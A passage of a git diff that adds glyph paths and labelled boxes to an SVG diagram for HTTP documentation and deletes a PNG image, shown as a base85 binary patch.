4.785156 -1.125 5.128906 -1.347656 5.390625 -1.703125 C 5.648438 -2.054688 5.78125 -2.535156 5.78125 -3.140625 C 5.78125 -3.722656 5.640625 -4.191406 5.359375 -4.546875 C 5.085938 -4.910156 4.753906 -5.238281 4.359375 -5.53125 Z M 3.828125 -11.625 C 3.335938 -11.53125 2.992188 -11.304688 2.796875 -10.953125 C 2.609375 -10.609375 2.515625 -10.242188 2.515625 -9.859375 C 2.515625 -9.328125 2.632812 -8.882812 2.875 -8.53125 C 3.125 -8.1875 3.441406 -7.875 3.828125 -7.59375 Z M 3.828125 -11.625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 0.859375 3.4375 C 1.210938 2.90625 1.515625 2.304688 1.765625 1.640625 C 2.023438 0.984375 2.234375 0.304688 2.390625 -0.390625 C 2.554688 -1.085938 2.675781 -1.78125 2.75 -2.46875 C 2.820312 -3.164062 2.859375 -3.804688 2.859375 -4.390625 C 2.859375 -5.003906 2.820312 -5.648438 2.75 -6.328125 C 2.6875 -7.003906 2.578125 -7.6875 2.421875 -8.375 C 2.273438 -9.070312 2.070312 -9.757812 1.8125 -10.4375 C 1.550781 -11.113281 1.234375 -11.757812 0.859375 -12.375 L 1.6875 -12.859375 C 2.132812 -12.242188 2.519531 -11.582031 2.84375 -10.875 C 3.164062 -10.164062 3.421875 -9.441406 3.609375 -8.703125 C 3.804688 -7.960938 3.945312 -7.222656 4.03125 -6.484375 C 4.113281 -5.742188 4.15625 -5.046875 4.15625 -4.390625 C 4.15625 -3.710938 4.113281 -3.003906 4.03125 -2.265625 C 3.945312 -1.523438 3.804688 -0.789062 3.609375 -0.0625 C 3.421875 0.664062 3.171875 1.375 2.859375 2.0625 C 2.546875 2.757812 2.164062 3.394531 1.71875 3.96875 Z M 0.859375 3.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 1.15625 -12.640625 C 1.34375 -12.679688 1.554688 -12.707031 1.796875 -12.71875 C 2.035156 -12.738281 2.273438 -12.75 2.515625 -12.75 C 2.753906 -12.757812 2.988281 -12.765625 3.21875 -12.765625 C 3.457031 -12.773438 3.679688 -12.78125 3.890625 -12.78125 C 4.765625 -12.78125 5.507812 -12.628906 6.125 -12.328125 C 6.738281 -12.035156 7.238281 -11.609375 7.625 -11.046875 C 8.007812 -10.484375 8.285156 -9.8125 8.453125 -9.03125 C 8.617188 -8.25 8.703125 -7.375 8.703125 -6.40625 C 8.703125 -5.539062 8.617188 -4.710938 8.453125 -3.921875 C 8.296875 -3.128906 8.023438 -2.429688 7.640625 -1.828125 C 7.253906 -1.222656 6.742188 -0.738281 6.109375 -0.375 C 5.484375 -0.0195312 4.691406 0.15625 3.734375 0.15625 C 3.578125 0.15625 3.378906 0.148438 3.140625 0.140625 C 2.898438 0.140625 2.648438 0.128906 2.390625 0.109375 C 2.128906 0.0976562 1.890625 0.0820312 1.671875 0.0625 C 1.453125 0.0507812 1.28125 0.0351562 1.15625 0.015625 Z M 3.953125 -11.546875 C 3.835938 -11.546875 3.707031 -11.546875 3.5625 -11.546875 C 3.425781 -11.546875 3.289062 -11.535156 3.15625 -11.515625 C 3.03125 -11.503906 2.910156 -11.492188 2.796875 -11.484375 C 2.679688 -11.472656 2.585938 -11.460938 2.515625 -11.453125 L 2.515625 -1.15625 C 2.554688 -1.144531 2.640625 -1.132812 2.765625 -1.125 C 2.898438 -1.125 3.035156 -1.117188 3.171875 -1.109375 C 3.304688 -1.109375 3.4375 -1.101562 3.5625 -1.09375 C 3.6875 -1.082031 3.78125 -1.078125 3.84375 -1.078125 C 4.507812 -1.078125 5.0625 -1.222656 5.5 -1.515625 C 5.945312 -1.804688 6.300781 -2.191406 6.5625 -2.671875 C 6.820312 -3.160156 7.003906 -3.726562 7.109375 -4.375 C 7.222656 -5.019531 7.28125 -5.707031 7.28125 -6.4375 C 7.28125 -7.070312 7.226562 -7.695312 7.125 -8.3125 C 7.03125 -8.925781 6.859375 -9.46875 6.609375 -9.9375 C 6.367188 -10.414062 6.035156 -10.800781 5.609375 -11.09375 C 5.179688 -11.394531 4.628906 -11.546875 3.953125 -11.546875 Z M 3.953125 -11.546875 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface33203">
+<rect x="0" y="0" width="561" height="441" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 9 9 L 37 9 L 37 31 L 9 31 Z M 9 9 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 15 C 16.134375 15 16 15.134375 16 15.3 L 16 17.885352 C 16 18.050977 16.134375 18.185352 16.3 18.185352 L 23.7 18.185352 C 23.865625 18.185352 24 18.050977 24 17.885352 L 24 15.3 C 24 15.134375 23.865625 15 23.7 15 Z M 16.3 15 " transform="matrix(20,0,0,20,-179,-179)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="186.976562" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="197.809896" y="160.853733"/>
+  <use xlink:href="#glyph0-3" x="206.143229" y="160.853733"/>
+  <use xlink:href="#glyph0-4" x="217.809896" y="160.853733"/>
+  <use xlink:href="#glyph0-5" x="222.25434" y="160.853733"/>
+  <use xlink:href="#glyph0-6" x="227.25434" y="160.853733"/>
+  <use xlink:href="#glyph0-7" x="236.143229" y="160.853733"/>
+  <use xlink:href="#glyph0-8" x="241.698785" y="160.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 15 C 28.134375 15 28 15.134375 28 15.3 L 28 17.885352 C 28 18.050977 28.134375 18.185352 28.3 18.185352 L 35.7 18.185352 C 35.865625 18.185352 36 18.050977 36 17.885352 L 36 15.3 C 36 15.134375 35.865625 15 35.7 15 Z M 28.3 15 " transform="matrix(20,0,0,20,-179,-179)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="395.589844" y="160.853733"/>
+  <use xlink:href="#glyph0-7" x="404.200955" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="409.75651" y="160.853733"/>
+  <use xlink:href="#glyph0-10" x="418.089844" y="160.853733"/>
+  <use xlink:href="#glyph0-6" x="426.978733" y="160.853733"/>
+  <use xlink:href="#glyph0-10" x="435.867622" y="160.853733"/>
+  <use xlink:href="#glyph0-11" x="444.75651" y="160.853733"/>
+  <use xlink:href="#glyph0-12" x="453.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-13" x="458.367622" y="160.853733"/>
+  <use xlink:href="#glyph0-14" x="466.423177" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="471.978733" y="160.853733"/>
+  <use xlink:href="#glyph0-15" x="480.312066" y="160.853733"/>
+  <use xlink:href="#glyph0-4" x="489.200955" y="160.853733"/>
+  <use xlink:href="#glyph0-5" x="493.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-6" x="498.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-7" x="507.534288" y="160.853733"/>
+  <use xlink:href="#glyph0-8" x="513.089844" y="160.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 27 C 22.134375 27 22 27.134375 22 27.3 L 22 29.885352 C 22 30.050977 22.134375 30.185352 22.3 30.185352 L 29.7 30.185352 C 29.865625 30.185352 30 30.050977 30 29.885352 L 30 27.3 C 30 27.134375 29.865625 27 29.7 27 Z M 22.3 27 " transform="matrix(20,0,0,20,-179,-179)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-16" x="286.15625" y="400.853733"/>
+  <use xlink:href="#glyph0-11" x="294.767361" y="400.853733"/>
+  <use xlink:href="#glyph0-17" x="303.65625" y="400.853733"/>
+  <use xlink:href="#glyph0-8" x="312.545139" y="400.853733"/>
+  <use xlink:href="#glyph0-18" x="325.878472" y="400.853733"/>
+  <use xlink:href="#glyph0-14" x="330.322917" y="400.853733"/>
+  <use xlink:href="#glyph0-14" x="335.878472" y="400.853733"/>
+  <use xlink:href="#glyph0-2" x="341.434028" y="400.853733"/>
+  <use xlink:href="#glyph0-15" x="349.767361" y="400.853733"/>
+  <use xlink:href="#glyph0-4" x="358.65625" y="400.853733"/>
+  <use xlink:href="#glyph0-5" x="363.100694" y="400.853733"/>
+  <use xlink:href="#glyph0-6" x="368.100694" y="400.853733"/>
+  <use xlink:href="#glyph0-7" x="376.989583" y="400.853733"/>
+  <use xlink:href="#glyph0-8" x="382.545139" y="400.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.708203 22.75 L 15.540625 22.75 C 16.207812 22.75 16.748828 23.30957 16.748828 24 C 16.748828 24.69043 16.207812 25.25 15.540625 25.25 L 10.708203 25.25 C 10.04082 25.25 9.5 24.69043 9.5 24 C 9.5 23.30957 10.04082 22.75 10.708203 22.75 Z M 10.708203 22.75 " transform="matrix(20,0,0,20,-179,-179)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-19" x="38.078125" y="309.892795"/>
+  <use xlink:href="#glyph0-2" x="46.967014" y="309.892795"/>
+  <use xlink:href="#glyph0-20" x="55.300347" y="309.892795"/>
+  <use xlink:href="#glyph0-11" x="64.189236" y="309.892795"/>
+  <use xlink:href="#glyph0-2" x="73.078125" y="309.892795"/>
+  <use xlink:href="#glyph0-21" x="81.411458" y="309.892795"/>
+  <use xlink:href="#glyph0-14" x="88.355903" y="309.892795"/>
+  <use xlink:href="#glyph0-4" x="93.911458" y="309.892795"/>
+  <use xlink:href="#glyph0-15" x="98.355903" y="309.892795"/>
+  <use xlink:href="#glyph0-13" x="107.244792" y="309.892795"/>
+  <use xlink:href="#glyph0-14" x="115.300347" y="309.892795"/>
+  <use xlink:href="#glyph0-13" x="120.855903" y="309.892795"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 161.625 275.722656 L 320.375 275.722656 L 320.375 299.121094 L 161.625 299.121094 Z M 161.625 275.722656 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="161.566406" y="294.129774"/>
+  <use xlink:href="#glyph1-2" x="169.621962" y="294.129774"/>
+  <use xlink:href="#glyph1-3" x="176.844184" y="294.129774"/>
+  <use xlink:href="#glyph1-4" x="184.89974" y="294.129774"/>
+  <use xlink:href="#glyph1-5" x="192.677517" y="294.129774"/>
+  <use xlink:href="#glyph1-6" x="196.844184" y="294.129774"/>
+  <use xlink:href="#glyph1-7" x="204.344184" y="294.129774"/>
+  <use xlink:href="#glyph1-6" x="212.39974" y="294.129774"/>
+  <use xlink:href="#glyph1-8" x="219.621962" y="294.129774"/>
+  <use xlink:href="#glyph1-9" x="227.39974" y="294.129774"/>
+  <use xlink:href="#glyph1-6" x="235.177517" y="294.129774"/>
+  <use xlink:href="#glyph1-10" x="242.677517" y="294.129774"/>
+  <use xlink:href="#glyph1-11" x="248.788628" y="294.129774"/>
+  <use xlink:href="#glyph1-12" x="253.788628" y="294.129774"/>
+  <use xlink:href="#glyph1-13" x="257.955295" y="294.129774"/>
+  <use xlink:href="#glyph1-14" x="266.010851" y="294.129774"/>
+  <use xlink:href="#glyph1-6" x="271.010851" y="294.129774"/>
+  <use xlink:href="#glyph1-8" x="278.233073" y="294.129774"/>
+  <use xlink:href="#glyph1-9" x="286.010851" y="294.129774"/>
+  <use xlink:href="#glyph1-6" x="293.788628" y="294.129774"/>
+  <use xlink:href="#glyph1-10" x="301.288628" y="294.129774"/>
+  <use xlink:href="#glyph1-11" x="307.39974" y="294.129774"/>
+  <use xlink:href="#glyph1-15" x="312.39974" y="294.129774"/>
+  <use xlink:href="#glyph1-16" x="316.566406" y="294.129774"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 16.748828 24 L 25.45 24 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.45 24.25 L 25.95 24 L 25.45 23.75 Z M 25.45 24.25 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.666602 10 L 28.333398 10 C 28.977734 10 29.5 10.55957 29.5 11.25 C 29.5 11.94043 28.977734 12.5 28.333398 12.5 L 23.666602 12.5 C 23.022266 12.5 22.5 11.94043 22.5 11.25 C 22.5 10.55957 23.022266 10 23.666602 10 Z M 23.666602 10 " transform="matrix(20,0,0,20,-179,-179)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-22" x="301.566406" y="54.892795"/>
+  <use xlink:href="#glyph0-6" x="314.621962" y="54.892795"/>
+  <use xlink:href="#glyph0-15" x="323.510851" y="54.892795"/>
+  <use xlink:href="#glyph0-2" x="332.39974" y="54.892795"/>
+  <use xlink:href="#glyph0-12" x="340.733073" y="54.892795"/>
+  <use xlink:href="#glyph0-4" x="345.455295" y="54.892795"/>
+  <use xlink:href="#glyph0-15" x="349.89974" y="54.892795"/>
+  <use xlink:href="#glyph0-13" x="358.788628" y="54.892795"/>
+  <use xlink:href="#glyph0-14" x="366.844184" y="54.892795"/>
+  <use xlink:href="#glyph0-13" x="372.39974" y="54.892795"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 350.171875 80.128906 L 445.070312 80.128906 L 445.070312 103.527344 L 350.171875 103.527344 Z M 350.171875 80.128906 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="350.171875" y="98.539931"/>
+  <use xlink:href="#glyph1-6" x="356.282986" y="98.539931"/>
+  <use xlink:href="#glyph1-11" x="363.782986" y="98.539931"/>
+  <use xlink:href="#glyph1-17" x="368.782986" y="98.539931"/>
+  <use xlink:href="#glyph1-2" x="378.227431" y="98.539931"/>
+  <use xlink:href="#glyph1-11" x="385.449653" y="98.539931"/>
+  <use xlink:href="#glyph1-2" x="390.449653" y="98.539931"/>
+  <use xlink:href="#glyph1-12" x="397.671875" y="98.539931"/>
+  <use xlink:href="#glyph1-13" x="401.838542" y="98.539931"/>
+  <use xlink:href="#glyph1-4" x="409.894097" y="98.539931"/>
+  <use xlink:href="#glyph1-2" x="417.671875" y="98.539931"/>
+  <use xlink:href="#glyph1-11" x="424.894097" y="98.539931"/>
+  <use xlink:href="#glyph1-2" x="429.894097" y="98.539931"/>
+  <use xlink:href="#glyph1-15" x="437.116319" y="98.539931"/>
+  <use xlink:href="#glyph1-16" x="441.282986" y="98.539931"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20 18.185352 L 20 21 L 26 21 L 26 26.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.75 26.45 L 26 26.95 L 26.25 26.45 Z M 25.75 26.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 32 18.235156 L 32 21 L 26 21 L 26 26.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.75 26.45 L 26 26.95 L 26.25 26.45 Z M 25.75 26.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 26 12.5 L 26 20.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.75 20.45 L 26 20.95 L 26.25 20.45 Z M 25.75 20.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+</g>
 </svg>
diff --git a/_images/http/xkcd-full.png b/_images/http/xkcd-full.png
deleted file mode 100644
index d5b01ea32b94a14c620fc2374f75b58b506ceb49..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 10968
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
